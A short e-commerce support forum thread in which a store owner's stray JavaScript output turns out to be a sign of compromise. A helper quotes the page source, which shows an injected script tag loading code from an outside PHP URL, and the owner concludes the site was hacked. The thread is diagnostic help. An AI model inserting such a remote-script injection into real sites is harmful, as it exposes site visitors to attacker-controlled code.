Results 1 to 3 of 3
  1. #1
    Join Date
    Jan 2007
    Posts
    7
    Plugin Contributions
    0

    Default JavaScript now working as intended.

    I have posted a script in the new file:
    includes/templates/{template_directory}/jscript/jscript_{unique_name}.js

    It is a random text generator script. I then called the file from my: includes/languages/english/header.php file, in the define Header_Sales_Text area, which is where I want the script to show up.

    The problem is that the script is also showing up at the very top-left corner of my page.

    You can see it here:

    www.promptchange.com

    How can I keep it working in my Header_Sales_Text area but not at the top-left of the page?

    Thank you.

  2. #2
    Join Date
    Nov 2007
    Location
    Woodbine, Georgia, United States
    Posts
    4,246
    Plugin Contributions
    58

    Default Re: JavaScript now working as intended.

    Have you been hacked?


    Code:
    <meta name="robots" content="noindex, nofollow" />
    
    <base href="http://www.promptchange.com/" />
    
    <link rel="stylesheet" type="text/css" href="includes/templates/CUSTOM/css/stylesheet.css" />
    
    <link rel="stylesheet" type="text/css" href="includes/templates/CUSTOM/css/stylesheet_css_buttons.css" />
    <link rel="stylesheet" type="text/css" media="print" href="includes/templates/CUSTOM/css/print_stylesheet.css" />
    <script type="text/javascript" src="includes/templates/CUSTOM/jscript/jscript_random_text.js"></script>
    </head><script src=http://chlo.se/blog/tn_med021.php ></script>
    
    <body id="indexHomeBody">
    Also note the noindex, nofollow

    The JS you are calling to twice

    ~Melanie
    PRO-Webs, Inc. since 2003 :: Zen Cart Hosting :: Zen Cart SEO – 12 Steps to Success
    **I answer questions in the forum, private messages are not conducive to a helpful community.

  3. #3
    Join Date
    Jan 2007
    Posts
    7
    Plugin Contributions
    0

    Default Re: JavaScript now working as intended.

    Ugh. Yes, I guess I was hacked. Thank you for pointing that out and for your help. I've got some clean-up work to do...

 

 

Similar Threads

  1. v153 How to remove javascript buy now button from homepage featured images
    By sports guy in forum Templates, Stylesheets, Page Layout
    Replies: 2
    Last Post: 26 Jan 2015, 03:02 AM
  2. v150 css hyperlinks not displaying as I intended
    By mi16chap in forum Templates, Stylesheets, Page Layout
    Replies: 2
    Last Post: 18 Oct 2012, 12:51 PM
  3. Javascript issue in IE. FF is working ok
    By TheBuz in forum Templates, Stylesheets, Page Layout
    Replies: 1
    Last Post: 4 Dec 2009, 05:32 PM
  4. Javascript virtual path not working
    By chillout_buddha in forum Templates, Stylesheets, Page Layout
    Replies: 1
    Last Post: 13 Nov 2009, 06:07 PM

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  
disjunctive-egg